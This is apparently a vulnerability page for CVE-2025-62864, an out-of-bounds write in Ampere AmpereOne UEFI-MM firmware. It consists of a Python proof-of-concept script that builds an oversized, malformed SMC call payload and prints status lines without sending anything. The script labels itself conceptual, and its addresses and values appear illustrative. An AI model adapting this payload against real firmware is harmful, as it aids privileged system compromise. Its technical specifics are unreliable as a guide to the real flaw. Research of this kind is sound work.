CVE-2025-62864: Ampere AmpereOne UEFI-MM越界写入漏洞

# CVE-2025-62864 PoC - Conceptual Proof of Concept # Note: This is a conceptual demonstration for research purposes only # Actual exploitation requires specific hardware access and firmware analysis import struct def construct_malicious_smc_call(): """ Construct a malformed SMC call to trigger OOB write in UEFI-MM This is a simplified conceptual representation """ # SMC Function ID for MMCommunicate SMC_FUNC_ID = 0xC000EE01 # Crafted buffer with oversized data # The MMCommunicate handler should validate buffer size # but vulnerable versions lack proper boundary checks oversized_buffer = b'A' * 1024 # Exceed expected buffer size # Construct SMC arguments smc_args = { 'func_id': SMC_FUNC_ID, 'buffer_address': 0xFFFFFFFF, # Invalid/misleading address 'buffer_size': len(oversized_buffer), 'magic_value': 0xDEADBEEF # May trigger specific code path } # Serialize for transmission payload = struct.pack('<QQQQ', smc_args['func_id'], smc_args['buffer_address'], smc_args['buffer_size'], smc_args['magic_value'] ) payload += oversized_buffer return payload def send_smc_call(payload): """ Send malformed SMC call to trigger vulnerability Requires specific hardware interface (JTAG, debug port, or firmware update) """ print(f"[*] Constructed malicious payload: {len(payload)} bytes") print(f"[*] SMC Function ID: 0xC000EE01") print(f"[*] Buffer size: 1024 bytes (exceeds safe limit)") print("[!] Note: Actual exploitation requires privileged access to device") # In real scenario, this would interface with ARM SMC dispatcher # or through firmware update mechanism if __name__ == "__main__": poc = construct_malicious_smc_call() send_smc_call(poc) print("[*] PoC generated - requires hardware-level access for testing")